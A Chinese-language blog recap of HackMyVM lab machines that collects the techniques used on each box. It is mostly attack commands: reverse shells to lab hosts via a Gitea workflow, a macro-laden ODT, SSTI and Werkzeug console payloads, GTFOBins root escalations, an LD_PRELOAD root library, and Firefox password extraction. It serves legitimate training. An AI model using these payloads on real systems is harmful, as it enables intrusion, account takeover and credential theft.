打靶复盘
本次 hackmyvm 打靶从三月中旬开始,历时十余天,到3.29
号截至,共打靶 20 余个,再次做一个复盘:
可惜了,才29号,加把劲进个前十不是问题的,但是没必要,复盘一下吧,下个月拿个名次:
防火墙过滤
Azer
使用linpeas.sh
扫出来了防火墙的过滤策略:
[+] Iptables rules
*filter
-A OUTPUT -p icmp -j DROP
# 禁用掉了icmp,所以我们是无法进行ping的,故可能会扫描不到。
Ping的工作原理主要基于Internet控制消息协议(ICMP),通过发送ICMP回显请求消息(称为ping请求)到目标主机,并等待对应的回复消息(ping响应)来确定主机的可达性和延迟。以下是Ping工作原理的详细步骤:
- 构造ICMP数据包:Ping命令首先会构造一个ICMP数据包,该数据包包含一个ICMP头和一个数据部分。ICMP头包含类型、代码、校验和等字段,用于标识数据包类型和确保数据完整性。数据部分可以是任意长度的数据。
- 发送ICMP数据包:构造好ICMP数据包后,Ping命令使用操作系统的网络协议栈将其发送到目标主机。网络协议栈是操作系统内置的网络协议软件,负责处理网络数据包的发送和接收。
- 接收ICMP回应数据包:Ping命令会等待目标主机的回应数据包。当目标主机收到ICMP回显请求消息后,会立即发送一个ICMP回显应答消息给发送方。这个回应数据包包含了往返时间(RTT)等关键信息。
- 计算往返时间(RTT):发送方接收到回显应答消息后,可以计算出数据包从发送到接收所花费的时间,即往返时间(RTT)。这个指标可以帮助用户了解网络的延迟情况。
- 统计网络性能指标:除了计算RTT外,Ping命令还可以统计丢包率等网络性能指标。通过多次发送ICMP回显请求并统计回应情况,可以评估网络的稳定性和可靠性。
- TTL字段的处理:在Ping工作原理中,还涉及到TTL(Time-To-Live)字段的处理。TTL字段用于限制数据包在网络中的生存时间,防止数据包在网络中无限循环。当一个数据包经过一个路由器时,TTL字段会减1。如果TTL字段减为0,路由器会丢弃该数据包并发送ICMP超时消息给发送方。Ping命令可以利用TTL字段来实现对网络路径的跟踪和测量。
- 防火墙和路由器设置的影响:Ping工作原理还受到防火墙和路由器设置的影响。某些防火墙或路由器可能会阻止ICMP数据包的传输,导致Ping命令无法正常工作。因此,在使用Ping命令时,需要确保网络设备和安全策略允许ICMP数据包的传输。
相对应的方法:
# 内网扫描
./fscan -h 10.10.10.1/24 -np -nopoc -noredis
# nmap扫描
sudo nmap -sS <IP>
上传文件随机化
上传文件以后,可能会存在重命名的情况,在quick4
中就遇到了这种情况:
可以尝试以下常见重命名手段:
http://10.161.187.177/employee/uploads/_reverseShell.jpg
http://10.161.187.177/employee/uploads/employee_reverseShell.jpg
http://10.161.187.177/employee/uploads/2024-03-16_reverseShell.jpg
http://10.161.187.177/employee/uploads/reverseShell_2024-03-16.jpg
http://10.161.187.177/employee/uploads/1_reverseShell.jpg
上传文件的时候可以后缀名改为.jpg
或者其他符合要求的文件,但是要在抓包的时候把修改回php
,否则可能无法进行执行。
sudo+tar权
https://gtfobins.github.io/gtfobins/tar/#sudo
sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
创建一个检查点在sudo权限下,quick4
的备份程序对/var/www/html
的内容进行保存,在此情况下需要:
touch /var/www/html/--checkpoint=1
touch /var/www/html/--checkpoint-action=exec=sh\ exp.sh
铭感目录文件
/var/www/html/xxx/config.php
/opt
/etc
等
ssh连接的若干问题
利用私钥进行连接
出现@形成的方框内有
warn
=>WARNING:UNPROTECTED PRIVATE KEY FILE!
说明权限不够,使用以下命令配置权限进行连接:
chmod 600 id_rsa # 改为你的私钥名称
ssh username@ip -i id_rsa
两边主机的加解密算法不一样
指定一下算法:
ssh -o PubkeyAcceptedKeyTypes=ssh-rsa -i id_rsa ariana@10.161.216.116
docker提权
https://gtfobins.github.io/gtfobins/docker/
在Pwned
中,用户在docker
组,可以使用以下命令进行提权:
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
-
-v /:/mnt
-v
或--volume
:用于挂载卷,即将宿主机的目录或文件挂载到容器中。/:/mnt
:这表示将宿主机的根目录/
挂载到容器的/mnt
目录下。这是一个危险的操作,因为它会将宿主机的整个文件系统暴露给容器,可能导致安全问题。 -
--rm
在容器退出后自动删除容器。这有助于保持系统的清洁,避免留下不再需要的容器。
-
-it
-i
或--interactive
:保持 STDIN 开放即使没有附加。通常与-t
一起使用,以便容器可以与主机进行交互。-t
或--tty
:为容器分配一个伪终端。这通常用于使容器内的 shell 表现得像是一个真正的终端。 -
alpine
这是要使用的 Docker 镜像名称。Alpine 是一个轻量级的 Linux 发行版,经常被用作 Docker 容器的基础镜像。
-
chroot /mnt sh
这是在容器内要执行的命令。
chroot /mnt
:改变当前进程的根目录到/mnt
。由于前面我们将宿主机的根目录挂载到了容器的/mnt
,这意味着此操作实际上是在将容器进程的根目录切换到宿主机的根目录。sh
:启动一个 shell 会话。
smb上传shell
在connection
中,smb信息发掘以后,发现共享目录是可读不可写的,但是它的子目录却不一定不可写,这里就直接上传一个反弹shell进行连接了:
smbmap -H 192.168.0.176
smbclient -N \\\\192.168.0.176\\share
cd html
put reverseshell.php
连接的时候需要对反斜杠进行转义,所以都是成双成对出的
gdb提权
同样是在connection
中遇到的:
https://gtfobins.github.io/gtfobins/gdb/
sudo install -m =xs $(which gdb) .
./gdb -nx -ex 'python import os; os.execl("/bin/sh", "sh", "-p")' -ex quit
这是官方网站写出来的payload,我们要根据自己的情况进行部分修改,在靶场中的payload就需要改为:
gdb -nx -ex 'python import os; os.execl("/bin/bash", "bash", "-p")' -ex quit
- gdb: 这是 GNU 调试器的命令行工具。
- -nx: 这个选项告诉
gdb
不要读取任何初始化文件,如~/.gdbinit
。这通常用于确保gdb
的行为不受任何用户特定的配置影响。 - -ex 'python import os; os.execl("/bin/bash", "bash", "-p")': 这个
-ex
选项告诉gdb
执行后面跟着的 Python 代码。这里,Python 代码导入了os
模块,并使用os.execl
函数来替换当前进程映像为/bin/bash
。os.execl
函数不会返回,而是直接启动新的程序(在这里是bash
)。"bash"
是新程序的名称,而"-p"
是传递给bash
的参数,用于启动一个新的登录 shell(通常是一个带有完整环境变量的 shell)。 - -ex quit: 另一个
-ex
选项,告诉gdb
在执行完上一个-ex
命令后立即退出。但是,由于os.execl
不会返回,这个quit
命令实际上永远不会被执行。
php_filter_chain_generator.py
是利用filter
进行构造paylaod,基于伪协议的一个链式生成器:
https://github.com/synacktiv/php_filter_chain_generator
在quick2
以及后面wild
靶场中均用到了此CLI:
python3 php_filter_chain_generator.py --chain '<?=`$_GET[0]`?>'
这个比较短,如果构造其他的可能会被浏览器拦截,当然,抓包也是个不错的方法:
# `<?= ?>` is a shorthand for `<?php echo ~ ?>`
python3 php_filter_chain_generator.py --chain '<?= `curl -s -L 192.168.0.126:8888/reverse|bash` ?>'
Capabilities php提权
Capabilities在Linux中是一种细粒度的权限管理机制,用于将root用户的特权划分为具体的功能集。这种机制允许将部分root特权授予非root进程,以增强系统的安全性。Linux从内核2.2版本开始引入Capabilities的概念与机制,并随着版本的升级逐步得到改进。
在Linux中,特权进程可以绕过内核的所有权限检查,而非特权进程则根据进程的凭证(如有效用户ID、有效组ID和补充组列表)进行完整的权限检查。Capabilities可以被分配给进程,允许它们执行特定的系统操作,而无需具有完整的超级用户权限。例如,能力CAP_SYS_MODULE表示用户能够加载(或卸载)内核模块的特权操作,而CAP_SETUID表示用户能够修改进程。
系统根据进程的cap_effective能力集进行访问控制,cap_effective是cap_permitted的子集,进程可以通过取消cap_effective中的某些能力来放弃进程的一些特权。
在实际使用中,可以使用libcap库提供的工具来查看和设置文件的capabilities。例如,使用getcap和setcap命令来分别查看和设置文件的capabilities,还可以使用capsh命令来查看当前shell进程的capabilities。
https://gtfobins.github.io/gtfobins/php/
在quick2
中利用到了,php8.1
版本被赋予了Capabilities权限,从而进行提权
cp $(which php) .
sudo setcap cap_setuid+ep php
CMD="/bin/sh"
./php -r "posix_setuid(0); system('$CMD');"
在此题中,使用命令:
php8.1 -r "posix_setuid(0); system('/bin/bash');"
成功提权。
awk提权
在nebula
中进行了awk
提权:https://gtfobins.github.io/gtfobins/awk/
sudo -u laboratoryadmin awk 'BEGIN {system("/bin/sh")}'
awk
是一个强大的文本处理工具,常用于模式扫描和文本/数据提取。'BEGIN {system("/bin/sh")}'
: 这是传递给awk
的程序。BEGIN
是一个特殊的模式,它在处理任何输入行之前执行。{system("/bin/sh")}
是一个动作,它告诉awk
在遇到BEGIN
模式时执行system("/bin/sh")
。system
函数在awk
中用于执行外部命令,所以这里它实际上是尝试启动一个/bin/sh
shell。
添加环境变量
export PATH="$PWD:$PATH"
socat端口转发
当使用
socat
进行端口转发后,之前看不到的东西现在变得可见,这通常是因为端口转发改变了网络流量的路径和方向,使得原本无法直接访问的资源或服务现在变得可访问。具体来说,
socat
是一个多功能的网络工具,它可以用于在两个数据流之间建立连接,实现数据的传输和转发。当你使用socat
进行端口转发时,它会在本地机器上监听一个指定的端口,并将所有到达该端口的数据流转发到另一个目标地址和端口。这样,原本只能访问本地端口的客户端现在可以通过这个转发机制访问到目标地址上的服务或资源。由于端口转发改变了数据的流向,一些之前因为网络隔离、访问控制或配置限制而无法直接访问的内容现在变得可访问。例如,你可能之前无法直接访问内网中的某个服务器或服务,但是通过
socat
的端口转发,你可以将外网的请求转发到内网服务器上,从而实现对内网资源的访问。此外,
socat
还提供了丰富的选项和功能,可以对转发的数据进行过滤、修改或处理。这意味着你可以根据需要对转发过程进行定制和控制,从而实现更复杂的网络操作和任务。
在universe
中,群主使用端口转发发现了一个LFI漏洞
cd /tmp
wget http://10.161.61.130:8888/socat
chmod +x socat
./socat TCP-LISTEN:8000,fork TCP4:127.0.0.1:8080 &
git提权
在Vivifyech
中出现了这种提权方法:
sudo git help config
!/bin/bash
也可以直接读取flag:
git diff /dev/null /root/root.txt
mail信件查看
在savsanta
中有个信件使用mail
进行查看
wine
/usr/bin/wine是Wine软件在Linux系统中的一个可执行文件路径。Wine(Wine Is Not an Emulator)是一个能够在Unix-like操作系统(如Linux)上运行Windows应用程序的兼容层。通过在Linux终端执行
/usr/bin/wine
命令,用户可以运行指定的Windows应用程序。使用Wine软件,用户可以在Linux系统上安装和运行Windows应用程序和游戏。这通常涉及在Wine的配置面板中设置应用程序的安装路径和可执行文件路径,然后通过在终端输入
wine + 可执行文件的路径
来运行这些应用程序。
同样是在savesanta
中,存在这个命令,且是无需密码就可以sudo执行的,利用以下命令进行使用从而获取flag
sudo /usr/bin/wine cmd
# 模拟cmd命令,使用cd,dir,type等命令获取flag
上传文件后缀名过滤
在Liceo
中对上传php后缀名进行了过滤,phptml
和inc
似乎还是可以的
php7.0
在quick
靶场中,存在php7.0
的suid漏洞
/usr/bin/php7.0 -r "pcntl_exec('/bin/sh', ['-p']);"
/usr/bin/php7.0
- 这是PHP 7.0的可执行文件的路径。
/usr/bin/
是Linux系统中存放大多数用户可执行文件的目录。通过这个路径,你可以运行PHP 7.0版本。
- 这是PHP 7.0的可执行文件的路径。
-r
- 这是一个命令行选项,它告诉PHP解释器直接运行后面的代码字符串,而不是从文件中读取代码。这允许用户在不创建PHP脚本文件的情况下直接执行PHP代码。
pcntl_exec('/bin/sh', ['-p']);
pcntl_exec
是PHP的进程控制函数之一,用于在当前进程的空间中执行另一个程序。换句话说,它会替换当前PHP进程为另一个程序(这里是/bin/sh
)。'/bin/sh'
是要执行的程序的路径,它通常是Bourne shell或与之兼容的shell的路径。['-p']
是一个传递给/bin/sh
的参数数组。在这里,-p
是一个特定的shell选项,它用来在调用shell时启用“privileged”模式。这个选项不是所有shell都支持的,但在一些shell中,它可以用来保留环境变量或当前的工作目录。不过,-p
并不是一个标准的POSIX shell选项,因此其行为可能会根据具体的shell实现而有所不同。
文件包含+本地端口
在casino
靶场中,存在漏洞,可以包含本地的端口,尝试进行包含,找出内网开放的端口
seq 0 65535 > 65535.txt
gobuster fuzz -u "http://10.160.52.102/casino/explainmepls.php?learnabout=127.0.0.1:FUZZ" -w 65535.txt -c "PHPSESSID=olis0nc010av7pg4shf5rutt0i" -a "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0" --exclude-length "1130"
重定向到伪终端
同样是casino
靶场上,它将输出重定向到伪终端了,这一点很难想象到,群主提出了一种方案:
lsof /opt/root.pass
查看是哪个进程打开了这个文件。
然后再去管道查询这个文件,记下这个命令了!
lsof命令是一个列出当前系统打开文件的工具。在Linux环境下,任何事物都以文件的形式存在,通过文件不仅仅可以访问常规数据,还可以访问网络连接和硬件。因此,lsof命令可以查看进程打开的文件、目录,还可以查看进程监听的端口等socket相关的信息。这对于系统监测以及排错将是非常有帮助的。
lsof命令的具体使用方法如下:
- 列出某个进程打开的文件:
lsof -p <PID>
,其中<PID>
为目标进程的进程ID。- 列出某个用户打开的文件:
lsof -u <username>
,其中<username>
为目标用户的用户名。- 列出某个程序名相关的文件:
lsof -c <process_name>
,其中<process_name>
为目标程序的名称。- 列出某个目录下被打开的文件:
lsof +D /path/to/directory
,其中/path/to/directory
为目标目录的路径。- 列出某个文件被哪个进程打开:
lsof /path/to/file
,其中/path/to/file
为目标文件的路径。
使用knock敲端口
knock 10.160.78.89 1100 800 666 -v
7z解压
在aqua
中遇到了一个压缩包,使用unzip
无法进行解压,使用7z
完成了解压:
sudo apt-get install p7zip-full
7z -x <zip>
memcached
在aqua
靶机中遇到了memcached
的服务,但是不会命令,查了一下常用命令:
stats # 输出 Memcached 服务信息
# STAT curr_items 5 Memcached 当前存储的内容数量
stats items # 各个 slab 中 item 的数目和存储时长
stats cachedump 1 5
# cachedump命令用于转储缓存中的数据,其中1表示slab class的ID,5表示要转储的条目数量。
get username
get password
find 提权 + sudo
https://gtfobins.github.io/gtfobins/find/
sudo find . -exec /bin/sh \; -quit
John爆破GPG密码
同样是aqua
靶场,最后得到的flag被加密过,使用John
进行查询:
gpg2john root.txt.gpg > flag_hash
john flag_hash -w=/usr/share/wordlists/rockyou.txt
SMB服务查询
enum4linux 10.160.104.239
smbmap 10.160.104.239
一样的!
smbclient //10.160.104.239/DebianShare -N
smbclient -N ////10.160.104.239//DebianShare
scalar提权+sudo
是靶场adria
发现的,没有找到准确的payload,但是其是基于git的扩展,尝试使用一样的payload进行提权,发现成功了
sudo git -p help config
!/bin/sh
sudo -u adriana /usr/bin/scalar help
!/bin/sh
bash脚本不标准的比较
同样在adria
中,发生了不标准的比较:
if [[ $PASSWORD == $USER_PASS ]]
没有加双引号,所以可能会发生匹配错误,这里使用通配符*
巧妙越过了这一比较:
双引号的作用:
防止词法拆分(Word Splitting):如果不使用双引号,Bash 会将变量扩展后的内容视为多个独立的单词(由空白字符如空格、制表符或换行符分隔)。这可能导致意外的行为,特别是当变量值包含空格或特殊字符时。使用双引号可以确保变量值被当作一个整体字符串来处理。
防止文件名扩展(Globbing):如果变量中包含通配符(如
*
或?
),Bash 会尝试对它们进行文件名扩展。这可能导致脚本意外地匹配并处理目录中的文件。使用双引号可以防止这种情况。保留变量值中的特殊字符:某些字符在 Bash 中具有特殊含义,如
$
,`
等。如果变量值中包含这些字符,并且不使用双引号,那么这些字符可能会被错误地解释或扩展。双引号可以确保这些字符被当作普通字符处理。,
\可读性:使用双引号也使得脚本更容易阅读和理解,因为它们清晰地界定了变量的边界。
jwt爆破
在run
靶场中:
python jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTcwNzE0ODY1OCwianRpIjoiNjAwMWI5N2YtZjllOC00YTIxLThlYWMtYmE5NWEwY2Y4MDQ4IiwidHlwZSI6ImFjY2VzcyIsInN1YiI6ImRldiIsIm5iZiI6MTcwNzE0ODY1OCwiY3NyZiI6ImFkZjdmOTBiLWQ2NDctNDljZS1hNGRhLTQ3NDI1OWZkYzcyYyIsImV4cCI6MTcwNzE0OTI1OCwidXNlcm5hbWUiOiJkZXYifQ.tRZPFKRfJV7T-EHyQiBFqDEE1hl83MyCGtaBpSMwU_o -C -d /usr/share/wordlists/rockyou.txt
私有化gitea反弹shell
在run
靶场中,对私有化部署的gitea
尝试进行了反弹,利用action加载了shell:
git clone http://10.0.2.10:3000/dev/revershell.git
cd revershell
mkdir .gitea
cd .gitea
mkdir workflows
cd workflows
vim revershell.yaml
on: [push]
jobs:
revershell:
runs-on: run
steps:
- run: /bin/bash -i >& /dev/tcp/10.0.2.4/1234 0>&1
git config user.email "dev@run.hmv"
git config user.name "dev"
git add .
git commit -m "revershell.yaml"
git push origin main
odt钓鱼(宏病毒)
在靶场quick5
中用到了宏病毒钓鱼的相关知识:
先制作一个odt文件
# 制作一个odt
use exploit/multi/misc/openoffice_document_macro
run
改成压缩包格式,修改文件
将后缀改为.zip
,打开修改\Basic\Standard\Module1.xml
:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE script:module PUBLIC "-//OpenOffice.org//DTD OfficeDocument 1.0//EN" "module.dtd">
<script:module xmlns:script="http://openoffice.org/2000/script" script:name="Module1" script:language="StarBasic">REM ***** BASIC *****
Sub Onload
Shell("wget 'http://172.20.10.8:8888/remote.sh' -O /tmp/remote.sh ")
Shell("sh /tmp/remote.sh ")
Shell("wget 'http://172.20.10.8:8888/reverseshell.php' ")
Shell("php reverseshell.php")
End Sub
</script:module>
其实remote.sh
和reverseshell.php
都是反弹shell的脚本,这里为了防止被删除丢到/tmp
内,我也不知道是哪个起了作用。
firefox提取密码
firefox是安全人员比较喜欢的浏览器,而浏览器有记住密码的作用,可以尝试利用 firefox_decrypt 提取其账号密码。
但是这里需要记住,它默认提取配置文件的地点在:
/home/username/.mozilla
如果不在的化可能需要进行链接一下:
在quick5
内是如下的:
ln -s /home/andrew/snap/firefox/common/.mozilla /home/andrew/.mozilla
群主直接使用脚本目录进行提取了,记录一下:
python3 firefox_decrypt.py ./firefox/common/.mozilla/firefox/ii990jpt.default
sqlmap命令
不想用sqlmap,但是有的靶场以我的知识实在测不出来,而创建者估计一开始也是准备使用sqlmap的,比如Vinylizer
:
# sql.txt是抓包的结果
sqlmap -r sql.txt -p username -dbs
sqlmap -l sql.txt --batch -D vinyl_marketplace --tables
sqlmap -l sql.txt --batch -D vinyl_marketplace -T users --columns
sqlmap -l sql.txt --batch -D vinyl_marketplace -T users --dump
SSTI模板注入
在zeug
靶场中,发生了SSTI
注入:
可以考虑使用https://swisskyrepo.github.io/PayloadsAllTheThings/Server%20Side%20Template%20Injection/#jinja2-debug-statement查询
在本题中限制了一些参数,利用:
{{ get_flashed_messages.__globals__.__builtins__.open("/etc/passwd").read() }}
读取到了passwd
利用下面命令传输了反弹shell
{{lipsum.__globals__.__builtins__.eval("__im""port__('o''s').pop""en('wget http://10.0.2.4:8888/rev.sh').read()")}}
由于本题开启了调试模式,所以开启了console
,可以利用https://github.com/wdahlenburg/werkzeug-debug-console-bypass获取pin码从而登录:
然后利用console RCE进行反弹:
__import__('os').popen('whoami').read();
__import__('os').system("bash -i >& /dev/tcp/172.20.10.8/1234 0>&1")
__import__('os').system('bash -c "bash -i >& /dev/tcp/172.20.10.8/1234 0>&1"')
动态链接库劫持
在zeug
、wild
等靶场都用到了,但是有所区别,zeug
是找不到这个动态链接库文件,而wild
是setenv
,故利用预链接的链接库文件即可进行提权。
// exia.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void inject()__attribute__((constructor));
void inject() {
unsetenv("LD_PRELOAD");
setuid(0);
setgid(0);
system("/bin/bash");
}
gcc -fPIC -shared -o exia.so exia.c
LD_PRELOAD 环境变量用于指定加载程序在所有其他库(包括标准 C 库 (
libc.so
))之前加载一个或多个共享库(.so 文件)。此过程称为预加载库。但是,为了维护系统安全并防止此功能被利用,特别是对于 suid/sgid 可执行文件,系统会强制执行某些条件:
- 对于真实用户 ID ( ruid ) 与有效用户 ID ( euid ) 不匹配的可执行文件,加载程序会忽略 LD_PRELOAD。
- 对于具有 suid/sgid 的可执行文件,仅预加载标准路径中也是 suid/sgid 的库。
扩展shell
python -c 'import pty; pty.spawn("/bin/sh")'
python3 -c 'import pty;pty.spawn("/bin/bash")'
/usr/bin/script -qc /bin/bash /dev/null
/usr/bin/script -qc /bin/bash /dev/null
这个命令实际上是在使用 script
命令来记录一个 shell 会话。script
命令常用于记录 shell 会话的输出到一个文件中,以便稍后进行查看或分析。但是,这个命令中的参数和用法稍微有些特别,我们逐一解释:
/usr/bin/script
: 这是script
命令的完整路径。script
命令用于记录 shell 会话。-q
: 这个选项表示安静模式,即script
命令不会打印开始和结束的消息。-c
: 这个选项允许你提供一个命令字符串给script
,该命令字符串会在script
启动的新 shell 中执行。/bin/bash
: 这是你想要在script
环境中运行的 shell 的路径。在这个例子中,你选择了 bash shell。/dev/null
: 这是script
命令用于输出记录的文件路径。但是,/dev/null
是一个特殊的设备文件,它会丢弃所有写入其中的数据(即“黑洞”)。因此,这个命令实际上会运行 bash shell,但不会保存任何输出。
信息搜集
查找SUID
find / -perm -u=s -type f 2>/dev/null
查找定时任务
cat /etc/cron*
查看用户
cat /etc/passwd
查看进程
ps aux